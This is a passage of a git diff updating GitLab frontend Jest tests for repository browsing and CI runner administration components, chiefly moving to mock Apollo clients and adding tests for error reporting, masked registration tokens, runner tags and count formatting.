+ ${100} | ${100}
+ ${200} | ${100}
+ `('exponentially increases page size, to a maximum of 100', ({ fetchCounter, pageSize }) => {
+ factory('/');
+ vm.setData({ fetchCounter });
+
+ vm.vm.fetchFiles();
+
+ expect($apollo.query).toHaveBeenCalledWith({
+ query: filesQuery,
+ variables: {
+ pageSize,
+ nextPageCursor: '',
+ path: '/',
+ projectPath: '',
+ ref: '',
+ },
+ });
});
});
});
diff --git a/spec/frontend/repository/components/upload_blob_modal_spec.js b/spec/frontend/repository/components/upload_blob_modal_spec.js
index d93b1d7e5f1..08a6583b60c 100644
--- a/spec/frontend/repository/components/upload_blob_modal_spec.js
+++ b/spec/frontend/repository/components/upload_blob_modal_spec.js
@@ -190,7 +190,9 @@ describe('UploadBlobModal', () => {
});
it('creates a flash error', () => {
- expect(createFlash).toHaveBeenCalledWith('Error uploading file. Please try again.');
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'Error uploading file. Please try again.',
+ });
});
afterEach(() => {
diff --git a/spec/frontend/repository/log_tree_spec.js b/spec/frontend/repository/log_tree_spec.js
index 8cabf902a4f..5186c9a8992 100644
--- a/spec/frontend/repository/log_tree_spec.js
+++ b/spec/frontend/repository/log_tree_spec.js
@@ -1,6 +1,10 @@
import MockAdapter from 'axios-mock-adapter';
+import { createMockClient } from 'helpers/mock_apollo_helper';
import axios from '~/lib/utils/axios_utils';
import { resolveCommit, fetchLogsTree } from '~/repository/log_tree';
+import commitsQuery from '~/repository/queries/commits.query.graphql';
+import projectPathQuery from '~/repository/queries/project_path.query.graphql';
+import refQuery from '~/repository/queries/ref.query.graphql';
const mockData = [
{
@@ -10,6 +14,7 @@ const mockData = [
committed_date: '2019-01-01',
},
commit_path: `https://test.com`,
+ commit_title_html: 'commit title',
file_name: 'index.js',
type: 'blob',
},
@@ -50,19 +55,15 @@ describe('fetchLogsTree', () => {
global.gon = { relative_url_root: '' };
- client = {
- readQuery: () => ({
- projectPath: 'gitlab-org/gitlab-foss',
- escapedRef: 'main',
- commits: [],
- }),
- writeQuery: jest.fn(),
- };
-
resolver = {
entry: { name: 'index.js', type: 'blob' },
resolve: jest.fn(),
};
+
+ client = createMockClient();
+ client.writeQuery({ query: projectPathQuery, data: { projectPath: 'gitlab-org/gitlab-foss' } });
+ client.writeQuery({ query: refQuery, data: { ref: 'main', escapedRef: 'main' } });
+ client.writeQuery({ query: commitsQuery, data: { commits: [] } });
});
afterEach(() => {
@@ -125,25 +126,19 @@ describe('fetchLogsTree', () => {
it('writes query to client', async () => {
await fetchLogsTree(client, '', '0', resolver);
- expect(client.writeQuery).toHaveBeenCalledWith({
- query: expect.anything(),
- data: {
- projectPath: 'gitlab-org/gitlab-foss',
- escapedRef: 'main',
- commits: [
- expect.objectContaining({
- __typename: 'LogTreeCommit',
- commitPath: 'https://test.com',
- committedDate: '2019-01-01',
- fileName: 'index.js',
- filePath: '/index.js',
- message: 'testing message',
- sha: '123',
- titleHtml: undefined,
- type: 'blob',
- }),
- ],
- },
+ expect(client.readQuery({ query: commitsQuery })).toEqual({
+ commits: [
+ expect.objectContaining({
+ commitPath: 'https://test.com',
+ committedDate: '2019-01-01',
+ fileName: 'index.js',
+ filePath: '/index.js',
+ message: 'testing message',
+ sha: '123',
+ titleHtml: 'commit title',
+ type: 'blob',
+ }),
+ ],
});
});
});
diff --git a/spec/frontend/right_sidebar_spec.js b/spec/frontend/right_sidebar_spec.js
index 8699e1cf420..d1f861669a0 100644
--- a/spec/frontend/right_sidebar_spec.js
+++ b/spec/frontend/right_sidebar_spec.js
@@ -66,22 +66,6 @@ describe('RightSidebar', () => {
assertSidebarState('collapsed');
});
- it('should broadcast todo:toggle event when add todo clicked', (done) => {
- const todos = getJSONFixture('todos/todos.json');
- mock.onPost(/(.*)\/todos$/).reply(200, todos);
-
- const todoToggleSpy = jest.fn();
- $(document).on('todo:toggle', todoToggleSpy);
-
- $('.issuable-sidebar-header .js-issuable-todo').click();
-
- setImmediate(() => {
- expect(todoToggleSpy.mock.calls.length).toEqual(1);
-
- done();
- });
- });
-
it('should not hide collapsed icons', () => {
[].forEach.call(document.querySelectorAll('.sidebar-collapsed-icon'), (el) => {
expect(el.querySelector('.fa, svg').classList.contains('hidden')).toBeFalsy();
diff --git a/spec/frontend/runner/components/cells/runner_actions_cell_spec.js b/spec/frontend/runner/components/cells/runner_actions_cell_spec.js
index 12651a82a0c..95f7c38cafc 100644
--- a/spec/frontend/runner/components/cells/runner_actions_cell_spec.js
+++ b/spec/frontend/runner/components/cells/runner_actions_cell_spec.js
@@ -1,18 +1,30 @@
-import { shallowMount } from '@vue/test-utils';
+import { createLocalVue, shallowMount } from '@vue/test-utils';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
+import createFlash from '~/flash';
import RunnerActionCell from '~/runner/components/cells/runner_actions_cell.vue';
-import deleteRunnerMutation from '~/runner/graphql/delete_runner.mutation.graphql';
import getRunnersQuery from '~/runner/graphql/get_runners.query.graphql';
+import runnerDeleteMutation from '~/runner/graphql/runner_delete.mutation.graphql';
import runnerUpdateMutation from '~/runner/graphql/runner_update.mutation.graphql';
+import { captureException } from '~/runner/sentry_utils';
+import { runnerData } from '../../mock_data';
-const mockId = '1';
+const mockRunner = runnerData.data.runner;
const getRunnersQueryName = getRunnersQuery.definitions[0].name.value;
+const localVue = createLocalVue();
+localVue.use(VueApollo);
+
+jest.mock('~/flash');
+jest.mock('~/runner/sentry_utils');
+
describe('RunnerTypeCell', () => {
let wrapper;
- let mutate;
+ const runnerDeleteMutationHandler = jest.fn();
+ const runnerUpdateMutationHandler = jest.fn();
const findEditBtn = () => wrapper.findByTestId('edit-runner');
const findToggleActiveBtn = () => wrapper.findByTestId('toggle-active-runner');
@@ -23,26 +35,43 @@ describe('RunnerTypeCell', () => {
shallowMount(RunnerActionCell, {
propsData: {
runner: {
- id: `gid://gitlab/Ci::Runner/${mockId}`,
+ id: mockRunner.id,
active,
},
},
- mocks: {
- $apollo: {
- mutate,
- },
- },
+ localVue,
+ apolloProvider: createMockApollo([
+ [runnerDeleteMutation, runnerDeleteMutationHandler],
+ [runnerUpdateMutation, runnerUpdateMutationHandler],
+ ]),
...options,
}),
);
};
beforeEach(() => {
- mutate = jest.fn();
+ runnerDeleteMutationHandler.mockResolvedValue({
+ data: {
+ runnerDelete: {
+ errors: [],
+ },
+ },
+ });
+
+ runnerUpdateMutationHandler.mockResolvedValue({
+ data: {
+ runnerUpdate: {
+ runner: runnerData.data.runner,
+ errors: [],
+ },
+ },
+ });
});
afterEach(() => {
- mutate.mockReset();
+ runnerDeleteMutationHandler.mockReset();
+ runnerUpdateMutationHandler.mockReset();
+
wrapper.destroy();
});
@@ -58,17 +87,6 @@ describe('RunnerTypeCell', () => {
${'paused'} | ${'Resume'} | ${'play'} | ${false} | ${true}
`('When the runner is $state', ({ label, icon, isActive, newActiveValue }) => {
beforeEach(() => {
- mutate.mockResolvedValue({
- data: {
- runnerUpdate: {
- runner: {
- id: `gid://gitlab/Ci::Runner/1`,
- __typename: 'CiRunner',
- },
- },
- },
- });
-
createComponent({ active: isActive });
});
@@ -93,46 +111,93 @@ describe('RunnerTypeCell', () => {
});
describe(`When clicking on the ${icon} button`, () => {
- beforeEach(async () => {
+ it(`The apollo mutation to set active to ${newActiveValue} is called`, async () => {
+ expect(runnerUpdateMutationHandler).toHaveBeenCalledTimes(0);
+
await findToggleActiveBtn().vm.$emit('click');
- await waitForPromises();
- });
- it(`The apollo mutation to set active to ${newActiveValue} is called`, () => {
- expect(mutate).toHaveBeenCalledTimes(1);
- expect(mutate).toHaveBeenCalledWith({
- mutation: runnerUpdateMutation,
- variables: {
- input: {
- id: `gid://gitlab/Ci::Runner/${mockId}`,
- active: newActiveValue,
- },
+ expect(runnerUpdateMutationHandler).toHaveBeenCalledTimes(1);
+ expect(runnerUpdateMutationHandler).toHaveBeenCalledWith({
+ input: {
+ id: mockRunner.id,
+ active: newActiveValue,
},
});
});
- it('The button does not have a loading state', () => {
+ it('The button does not have a loading state after the mutation occurs', async () => {
+ await findToggleActiveBtn().vm.$emit('click');
+
+ expect(findToggleActiveBtn().props('loading')).toBe(true);
+
+ await waitForPromises();
+
expect(findToggleActiveBtn().props('loading')).toBe(false);
});
});
- });
- describe('When the user clicks a runner', () => {
- beforeEach(() => {
- createComponent();
+ describe('When update fails', () => {
+ describe('On a network error', () => {
+ const mockErrorMsg = 'Update error!';
+
+ beforeEach(async () => {
+ runnerUpdateMutationHandler.mockRejectedValueOnce(new Error(mockErrorMsg));
+
+ await findToggleActiveBtn().vm.$emit('click');
+ });
+
+ it('error is reported to sentry', () => {
+ expect(captureException).toHaveBeenCalledWith({
+ error: new Error(`Network error: ${mockErrorMsg}`),
+ component: 'RunnerActionsCell',
+ });
+ });
- mutate.mockResolvedValue({
- data: {
- runnerDelete: {
- runner: {
- id: `gid://gitlab/Ci::Runner/1`,
- __typename: 'CiRunner',
+ it('error is shown to the user', () => {
+ expect(createFlash).toHaveBeenCalledTimes(1);
+ });
+ });
+
+ describe('On a validation error', () => {
+ const mockErrorMsg = 'Runner not found!';
+ const mockErrorMsg2 = 'User not allowed!';
+
+ beforeEach(async () => {
+ runnerUpdateMutationHandler.mockResolvedValue({
+ data: {
+ runnerUpdate: {
+ runner: runnerData.data.runner,
+ errors: [mockErrorMsg, mockErrorMsg2],
+ },
},
- },
- },
+ });
+
+ await findToggleActiveBtn().vm.$emit('click');
+ });
+
+ it('error is reported to sentry', () => {
+ expect(captureException).toHaveBeenCalledWith({
+ error: new Error(`${mockErrorMsg} ${mockErrorMsg2}`),
+ component: 'RunnerActionsCell',
+ });
+ });
+
+ it('error is shown to the user', () => {
+ expect(createFlash).toHaveBeenCalledTimes(1);
+ });
});
+ });
+ });
+ describe('When the user clicks a runner', () => {
+ beforeEach(() => {
jest.spyOn(window, 'confirm');
+
+ createComponent();
+ });
+
+ afterEach(() => {
+ window.confirm.mockRestore();
});
describe('When the user confirms deletion', () => {
@@ -141,18 +206,28 @@ describe('RunnerTypeCell', () => {
await findDeleteBtn().vm.$emit('click');
});
- it('The user sees a confirmation alert', async () => {
+ it('The user sees a confirmation alert', () => {
expect(window.confirm).toHaveBeenCalledTimes(1);
expect(window.confirm).toHaveBeenCalledWith(expect.any(String));
});
it('The delete mutation is called correctly', () => {
- expect(mutate).toHaveBeenCalledTimes(1);
- expect(mutate).toHaveBeenCalledWith({
- mutation: deleteRunnerMutation,
+ expect(runnerDeleteMutationHandler).toHaveBeenCalledTimes(1);
+ expect(runnerDeleteMutationHandler).toHaveBeenCalledWith({
+ input: { id: mockRunner.id },
+ });
+ });
+
+ it('When delete mutation is called, current runners are refetched', async () => {
+ jest.spyOn(wrapper.vm.$apollo, 'mutate');
+
+ await findDeleteBtn().vm.$emit('click');
+
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
+ mutation: runnerDeleteMutation,
variables: {
input: {
- id: `gid://gitlab/Ci::Runner/${mockId}`,
+ id: mockRunner.id,
},
},
awaitRefetchQueries: true,
@@ -176,6 +251,57 @@ describe('RunnerTypeCell', () => {
expect(findDeleteBtn().attributes('title')).toBe('');
});
+
+ describe('When delete fails', () => {
+ describe('On a network error', () => {
+ const mockErrorMsg = 'Delete error!';
+
+ beforeEach(async () => {
+ runnerDeleteMutationHandler.mockRejectedValueOnce(new Error(mockErrorMsg));
+
+ await findDeleteBtn().vm.$emit('click');
+ });
+
+ it('error is reported to sentry', () => {
+ expect(captureException).toHaveBeenCalledWith({
+ error: new Error(`Network error: ${mockErrorMsg}`),
+ component: 'RunnerActionsCell',
+ });
+ });
+
+ it('error is shown to the user', () => {
+ expect(createFlash).toHaveBeenCalledTimes(1);
+ });
+ });
+
+ describe('On a validation error', () => {
+ const mockErrorMsg = 'Runner not found!';
+ const mockErrorMsg2 = 'User not allowed!';
+
+ beforeEach(async () => {
+ runnerDeleteMutationHandler.mockResolvedValue({
+ data: {
+ runnerDelete: {
+ errors: [mockErrorMsg, mockErrorMsg2],
+ },
+ },
+ });
+
+ await findDeleteBtn().vm.$emit('click');
+ });
+
+ it('error is reported to sentry', () => {
+ expect(captureException).toHaveBeenCalledWith({
+ error: new Error(`${mockErrorMsg} ${mockErrorMsg2}`),
+ component: 'RunnerActionsCell',
+ });
+ });
+
+ it('error is shown to the user', () => {
+ expect(createFlash).toHaveBeenCalledTimes(1);
+ });
+ });
+ });
});
describe('When the user does not confirm deletion', () => {
@@ -189,7 +315,7 @@ describe('RunnerTypeCell', () => {
});
it('The delete mutation is not called', () => {
- expect(mutate).toHaveBeenCalledTimes(0);
+ expect(runnerDeleteMutationHandler).toHaveBeenCalledTimes(0);
});
it('The delete button does not have a loading state', () => {
diff --git a/spec/frontend/runner/components/helpers/masked_value_spec.js b/spec/frontend/runner/components/helpers/masked_value_spec.js
new file mode 100644
index 00000000000..f87315057ec
--- /dev/null
+++ b/spec/frontend/runner/components/helpers/masked_value_spec.js
@@ -0,0 +1,51 @@
+import { GlButton } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import MaskedValue from '~/runner/components/helpers/masked_value.vue';
+
+const mockSecret = '01234567890';
+const mockMasked = '***********';
+
+describe('MaskedValue', () => {
+ let wrapper;
+
+ const findButton = () => wrapper.findComponent(GlButton);
+
+ const createComponent = ({ props = {} } = {}) => {
+ wrapper = shallowMount(MaskedValue, {
+ propsData: {
+ value: mockSecret,
+ ...props,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('Displays masked value by default', () => {
+ expect(wrapper.text()).toBe(mockMasked);
+ });
+
+ describe('When the icon is clicked', () => {
+ beforeEach(() => {
+ findButton().vm.$emit('click');
+ });
+
+ it('Displays the actual value', () => {
+ expect(wrapper.text()).toBe(mockSecret);
+ expect(wrapper.text()).not.toBe(mockMasked);
+ });
+
+ it('When user clicks again, displays masked value', async () => {
+ await findButton().vm.$emit('click');
+
+ expect(wrapper.text()).toBe(mockMasked);
+ expect(wrapper.text()).not.toBe(mockSecret);
+ });
+ });
+});
diff --git a/spec/frontend/runner/components/runner_filtered_search_bar_spec.js b/spec/frontend/runner/components/runner_filtered_search_bar_spec.js
index 61a8f821b30..85cf7ea92df 100644
--- a/spec/frontend/runner/components/runner_filtered_search_bar_spec.js
+++ b/spec/frontend/runner/components/runner_filtered_search_bar_spec.js
@@ -2,8 +2,10 @@ import { GlFilteredSearch, GlDropdown, GlDropdownItem } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import RunnerFilteredSearchBar from '~/runner/components/runner_filtered_search_bar.vue';
-import { PARAM_KEY_STATUS, PARAM_KEY_RUNNER_TYPE } from '~/runner/constants';
+import TagToken from '~/runner/components/search_tokens/tag_token.vue';
+import { PARAM_KEY_STATUS, PARAM_KEY_RUNNER_TYPE, PARAM_KEY_TAG } from '~/runner/constants';
import FilteredSearch from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
+import BaseToken from '~/vue_shared/components/filtered_search_bar/tokens/base_token.vue';
describe('RunnerList', () => {
let wrapper;
@@ -11,6 +13,7 @@ describe('RunnerList', () => {
const findFilteredSearch = () => wrapper.findComponent(FilteredSearch);
const findGlFilteredSearch = () => wrapper.findComponent(GlFilteredSearch);
const findSortOptions = () => wrapper.findAllComponents(GlDropdownItem);
+ const findActiveRunnersMessage = () => wrapper.findByTestId('active-runners-message');
const mockDefaultSort = 'CREATED_DESC';
const mockOtherSort = 'CONTACTED_DESC';
@@ -18,18 +21,20 @@ describe('RunnerList', () => {
{ type: PARAM_KEY_STATUS, value: { data: 'ACTIVE', operator: '=' } },
{ type: 'filtered-search-term', value: { data: '' } },
];
+ const mockActiveRunnersCount = 2;
const createComponent = ({ props = {}, options = {} } = {}) => {
wrapper = extendedWrapper(
shallowMount(RunnerFilteredSearchBar, {
propsData: {
+ namespace: 'runners',
value: {
filters: [],
sort: mockDefaultSort,
},
+ activeRunnersCount: mockActiveRunnersCount,
...props,
},
- attrs: { namespace: 'runners' },
stubs: {
FilteredSearch,
GlFilteredSearch,
@@ -53,6 +58,18 @@ describe('RunnerList', () => {
expect(findFilteredSearch().props('namespace')).toBe('runners');
});
+ it('Displays an active runner count', () => {
+ expect(findActiveRunnersMessage().text()).toBe(
+ `Runners currently online: ${mockActiveRunnersCount}`,
+ );
+ });
+
+ it('Displays a large active runner count', () => {
+ createComponent({ props: { activeRunnersCount: 2000 } });
+
+ expect(findActiveRunnersMessage().text()).toBe('Runners currently online: 2,000');
+ });
+
it('sets sorting options', () => {
const SORT_OPTIONS_COUNT = 2;
@@ -65,12 +82,18 @@ describe('RunnerList', () => {
expect(findFilteredSearch().props('tokens')).toEqual([
expect.objectContaining({
type: PARAM_KEY_STATUS,
+ token: BaseToken,
options: expect.any(Array),
}),
expect.objectContaining({
type: PARAM_KEY_RUNNER_TYPE,
+ token: BaseToken,
options: expect.any(Array),
}),
+ expect.objectContaining({
+ type: PARAM_KEY_TAG,
+ token: TagToken,
+ }),
]);
});
diff --git a/spec/frontend/runner/components/runner_list_spec.js b/spec/frontend/runner/components/runner_list_spec.js
index d88d7b3fbee..5fff3581e39 100644
--- a/spec/frontend/runner/components/runner_list_spec.js
+++ b/spec/frontend/runner/components/runner_list_spec.js
@@ -1,5 +1,6 @@
import { GlLink, GlTable, GlSkeletonLoader } from '@gitlab/ui';
import { mount, shallowMount } from '@vue/test-utils';
+import { cloneDeep } from 'lodash';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import RunnerList from '~/runner/components/runner_list.vue';
@@ -11,7 +12,6 @@ const mockActiveRunnersCount = mockRunners.length;
describe('RunnerList', () => {
let wrapper;
- const findActiveRunnersMessage = () => wrapper.findByTestId('active-runners-message');
const findSkeletonLoader = () => wrapper.findComponent(GlSkeletonLoader);
const findTable = () => wrapper.findComponent(GlTable);
const findHeaders = () => wrapper.findAll('th');
@@ -39,18 +39,6 @@ describe('RunnerList', () => {
wrapper.destroy();
});
- it('Displays active runner count', () => {
- expect(findActiveRunnersMessage().text()).toBe(
- `Runners currently online: ${mockActiveRunnersCount}`,
- );
- });
-
- it('Displays a large active runner count', () => {
- createComponent({ props: { activeRunnersCount: 2000 } });
-
- expect(findActiveRunnersMessage().text()).toBe('Runners currently online: 2,000');
- });
-
it('Displays headers', () => {
const headerLabels = findHeaders().wrappers.map((w) => w.text());
@@ -85,12 +73,11 @@ describe('RunnerList', () => {
);
expect(findCell({ fieldKey: 'name' }).text()).toContain(description);
- // Other fields: some cells are empty in the first iteration
- // See https://gitlab.com/gitlab-org/gitlab/-/issues/329658#pending-features
+ // Other fields
expect(findCell({ fieldKey: 'version' }).text()).toBe(version);
expect(findCell({ fieldKey: 'ipAddress' }).text()).toBe(ipAddress);
- expect(findCell({ fieldKey: 'projectCount' }).text()).toBe('');
- expect(findCell({ fieldKey: 'jobCount' }).text()).toBe('');
+ expect(findCell({ fieldKey: 'projectCount' }).text()).toBe('1');
+ expect(findCell({ fieldKey: 'jobCount' }).text()).toBe('0');
expect(findCell({ fieldKey: 'tagList' }).text()).toBe('');
expect(findCell({ fieldKey: 'contactedAt' }).text()).toEqual(expect.any(String));
@@ -101,6 +88,54 @@ describe('RunnerList', () => {
expect(actions.findByTestId('toggle-active-runner').exists()).toBe(true);
});
+ describe('Table data formatting', () => {
+ let mockRunnersCopy;
+
+ beforeEach(() => {
+ mockRunnersCopy = cloneDeep(mockRunners);
+ });
+
+ it('Formats null project counts', () => {
+ mockRunnersCopy[0].projectCount = null;
+
+ createComponent({ props: { runners: mockRunnersCopy } }, mount);
+
+ expect(findCell({ fieldKey: 'projectCount' }).text()).toBe('n/a');
+ });
+
+ it('Formats 0 project counts', () => {
+ mockRunnersCopy[0].projectCount = 0;
+
+ createComponent({ props: { runners: mockRunnersCopy } }, mount);
+
+ expect(findCell({ fieldKey: 'projectCount' }).text()).toBe('0');
+ });
+
+ it('Formats big project counts', () => {
+ mockRunnersCopy[0].projectCount = 1000;
+
+ createComponent({ props: { runners: mockRunnersCopy } }, mount);
+
+ expect(findCell({ fieldKey: 'projectCount' }).text()).toBe('1,000');
+ });
+
+ it('Formats job counts', () => {
+ mockRunnersCopy[0].jobCount = 1000;
+
+ createComponent({ props: { runners: mockRunnersCopy } }, mount);
+
+ expect(findCell({ fieldKey: 'jobCount' }).text()).toBe('1,000');
+ });
+
+ it('Formats big job counts with a plus symbol', () => {
+ mockRunnersCopy[0].jobCount = 1001;
+
+ createComponent({ props: { runners: mockRunnersCopy } }, mount);
+
+ expect(findCell({ fieldKey: 'jobCount' }).text()).toBe('1,000+');
+ });
+ });
+
it('Links to the runner page', () => {
const { id } = mockRunners[0];
diff --git a/spec/frontend/runner/components/runner_manual_setup_help_spec.js b/spec/frontend/runner/components/runner_manual_setup_help_spec.js
index add595d784e..effef0e7ebf 100644
--- a/spec/frontend/runner/components/runner_manual_setup_help_spec.js
+++ b/spec/frontend/runner/components/runner_manual_setup_help_spec.js
@@ -3,6 +3,7 @@ import { shallowMount } from '@vue/test-utils';
import { nextTick } from 'vue';
import { TEST_HOST } from 'helpers/test_constants';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import MaskedValue from '~/runner/components/helpers/masked_value.vue';
import RunnerManualSetupHelp from '~/runner/components/runner_manual_setup_help.vue';
import RunnerRegistrationTokenReset from '~/runner/components/runner_registration_token_reset.vue';
import { INSTANCE_TYPE, GROUP_TYPE, PROJECT_TYPE } from '~/runner/constants';
@@ -37,6 +38,7 @@ describe('RunnerManualSetupHelp', () => {
...props,
},
stubs: {
+ MaskedValue,
GlSprintf,
},
}),
@@ -93,7 +95,11 @@ describe('RunnerManualSetupHelp', () => {
expect(findRunnerInstructions().exists()).toBe(true);
});
- it('Displays the registration token', () => {
+ it('Displays the registration token', async () => {
+ findRegistrationToken().find('[data-testid="toggle-masked"]').vm.$emit('click');
+
+ await nextTick();
+
expect(findRegistrationToken().text()).toBe(mockRegistrationToken);
expect(findClipboardButtons().at(1).props('text')).toBe(mockRegistrationToken);
});
@@ -105,6 +111,7 @@ describe('RunnerManualSetupHelp', () => {
it('Replaces the runner reset button', async () => {
const mockNewRegistrationToken = 'NEW_MOCK_REGISTRATION_TOKEN';
+ findRegistrationToken().find('[data-testid="toggle-masked"]').vm.$emit('click');
findRunnerRegistrationTokenReset().vm.$emit('tokenReset', mockNewRegistrationToken);
await nextTick();
diff --git a/spec/frontend/runner/components/runner_registration_token_reset_spec.js b/spec/frontend/runner/components/runner_registration_token_reset_spec.js
index fa5751b380f..6dc207e369c 100644
--- a/spec/frontend/runner/components/runner_registration_token_reset_spec.js
+++ b/spec/frontend/runner/components/runner_registration_token_reset_spec.js
@@ -7,8 +7,10 @@ import createFlash, { FLASH_TYPES } from '~/flash';
import RunnerRegistrationTokenReset from '~/runner/components/runner_registration_token_reset.vue';
import { INSTANCE_TYPE } from '~/runner/constants';
import runnersRegistrationTokenResetMutation from '~/runner/graphql/runners_registration_token_reset.mutation.graphql';
+import { captureException } from '~/runner/sentry_utils';
jest.mock('~/flash');
+jest.mock('~/runner/sentry_utils');
const localVue = createLocalVue();
localVue.use(VueApollo);
@@ -111,25 +113,32 @@ describe('RunnerRegistrationTokenReset', () => {
describe('On error', () => {
it('On network error, error message is shown', async () => {
- runnersRegistrationTokenResetMutationHandler.mockRejectedValueOnce(
- new Error('Something went wrong'),
- );
+ const mockErrorMsg = 'Token reset failed!';
+
+ runnersRegistrationTokenResetMutationHandler.mockRejectedValueOnce(new Error(mockErrorMsg));
window.confirm.mockReturnValueOnce(true);
await findButton().vm.$emit('click');
await waitForPromises();
expect(createFlash).toHaveBeenLastCalledWith({
- message: 'Network error: Something went wrong',
+ message: `Network error: ${mockErrorMsg}`,
+ });
+ expect(captureException).toHaveBeenCalledWith({
+ error: new Error(`Network error: ${mockErrorMsg}`),
+ component: 'RunnerRegistrationTokenReset',
});
});
it('On validation error, error message is shown', async () => {
+ const mockErrorMsg = 'User not allowed!';
+ const mockErrorMsg2 = 'Type is not valid!';
+
runnersRegistrationTokenResetMutationHandler.mockResolvedValue({
data: {
runnersRegistrationTokenReset: {
token: null,
- errors: ['Token reset failed'],
+ errors: [mockErrorMsg, mockErrorMsg2],
},
},
});
@@ -139,7 +148,11 @@ describe('RunnerRegistrationTokenReset', () => {
await waitForPromises();
expect(createFlash).toHaveBeenLastCalledWith({
- message: 'Token reset failed',
+ message: `${mockErrorMsg} ${mockErrorMsg2}`,
+ });
+ expect(captureException).toHaveBeenCalledWith({
+ error: new Error(`${mockErrorMsg} ${mockErrorMsg2}`),
+ component: 'RunnerRegistrationTokenReset',
});
});
});
diff --git a/spec/frontend/runner/components/runner_tag_spec.js b/spec/frontend/runner/components/runner_tag_spec.js
new file mode 100644
index 00000000000..dda318f8153
--- /dev/null
+++ b/spec/frontend/runner/components/runner_tag_spec.js
@@ -0,0 +1,45 @@
+import { GlBadge } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import RunnerTag from '~/runner/components/runner_tag.vue';
+
+describe('RunnerTag', () => {
+ let wrapper;
+
+ const findBadge = () => wrapper.findComponent(GlBadge);
+
+ const createComponent = ({ props = {} } = {}) => {
+ wrapper = shallowMount(RunnerTag, {
+ propsData: {
+ tag: 'tag1',
+ ...props,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('Displays tag text', () => {
+ expect(wrapper.text()).toBe('tag1');
+ });
+
+ it('Displays tags with correct style', () => {
+ expect(findBadge().props()).toMatchObject({
+ size: 'md',
+ variant: 'info',
+ });
+ });
+
+ it('Displays tags with small size', () => {
+ createComponent({
+ props: { size: 'sm' },
+ });
+
+ expect(findBadge().props('size')).toBe('sm');
+ });
+});
diff --git a/spec/frontend/runner/components/runner_tags_spec.js b/spec/frontend/runner/components/runner_tags_spec.js
index 7bb3f65e4ba..b6487ade0d6 100644
--- a/spec/frontend/runner/components/runner_tags_spec.js
+++ b/spec/frontend/runner/components/runner_tags_spec.js
@@ -1,5 +1,5 @@
import { GlBadge } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
+import { mount } from '@vue/test-utils';
import RunnerTags from '~/runner/components/runner_tags.vue';
describe('RunnerTags', () => {
@@ -9,7 +9,7 @@ describe('RunnerTags', () => {
const findBadgesAt = (i = 0) => wrapper.findAllComponents(GlBadge).at(i);
const createComponent = ({ props = {} } = {}) => {
- wrapper = shallowMount(RunnerTags, {
+ wrapper = mount(RunnerTags, {
propsData: {
tagList: ['tag1', 'tag2'],
...props,
@@ -45,14 +45,6 @@ describe('RunnerTags', () => {
expect(findBadge().props('size')).toBe('sm');
});
- it('Displays tags with a variant', () => {
- createComponent({
- props: { variant: 'warning' },
- });
-
- expect(findBadge().props('variant')).toBe('warning');
- });
-
it('Is empty when there are no tags', () => {
createComponent({
props: { tagList: null },
diff --git a/spec/frontend/runner/components/runner_update_form_spec.js b/spec/frontend/runner/components/runner_update_form_spec.js
index 6333ed7118a..15029d7a911 100644
--- a/spec/frontend/runner/components/runner_update_form_spec.js
+++ b/spec/frontend/runner/components/runner_update_form_spec.js
@@ -15,9 +15,11 @@ import {
ACCESS_LEVEL_NOT_PROTECTED,
} from '~/runner/constants';
import runnerUpdateMutation from '~/runner/graphql/runner_update.mutation.graphql';
+import { captureException } from '~/runner/sentry_utils';
import { runnerData } from '../mock_data';
jest.mock('~/flash');
+jest.mock('~/runner/sentry_utils');
const mockRunner = runnerData.data.runner;
@@ -205,13 +207,11 @@ describe('RunnerUpdateForm', () => {
});
it.each`
- value | submitted
- ${''} | ${{ tagList: [] }}
- ${'tag1, tag2'} | ${{ tagList: ['tag1', 'tag2'] }}
- ${'with spaces'} | ${{ tagList: ['with spaces'] }}
- ${',,,,, commas'} | ${{ tagList: ['commas'] }}
- ${'more ,,,,, commas'} | ${{ tagList: ['more', 'commas'] }}
- ${' trimmed , trimmed2 '} | ${{ tagList: ['trimmed', 'trimmed2'] }}
+ value | submitted
+ ${''} | ${{ tagList: [] }}
+ ${'tag1, tag2'} | ${{ tagList: ['tag1', 'tag2'] }}
+ ${'with spaces'} | ${{ tagList: ['with spaces'] }}
+ ${'more ,,,,, commas'} | ${{ tagList: ['more', 'commas'] }}
`('Field updates runner\'s tags for "$value"', async ({ value, submitted }) => {
const runner = { ...mockRunner, tagList: ['tag1'] };
createComponent({ props: { runner } });
@@ -232,22 +232,30 @@ describe('RunnerUpdateForm', () => {
});
it('On network error, error message is shown', async () => {
- runnerUpdateHandler.mockRejectedValue(new Error('Something went wrong'));
+ const mockErrorMsg = 'Update error!';
+
+ runnerUpdateHandler.mockRejectedValue(new Error(mockErrorMsg));
await submitFormAndWait();
expect(createFlash).toHaveBeenLastCalledWith({
- message: 'Network error: Something went wrong',
+ message: `Network error: ${mockErrorMsg}`,
+ });
+ expect(captureException).toHaveBeenCalledWith({
+ component: 'RunnerUpdateForm',
+ error: new Error(`Network error: ${mockErrorMsg}`),
});
expect(findSubmitDisabledAttr()).toBeUndefined();
});
- it('On validation error, error message is shown', async () => {
+ it('On validation error, error message is shown and it is not sent to sentry', async () => {
+ const mockErrorMsg = 'Invalid value!';
+
runnerUpdateHandler.mockResolvedValue({
data: {
runnerUpdate: {
runner: mockRunner,
- errors: ['A value is invalid'],
+ errors: [mockErrorMsg],
},
},
});
@@ -255,8 +263,9 @@ describe('RunnerUpdateForm', () => {
await submitFormAndWait();
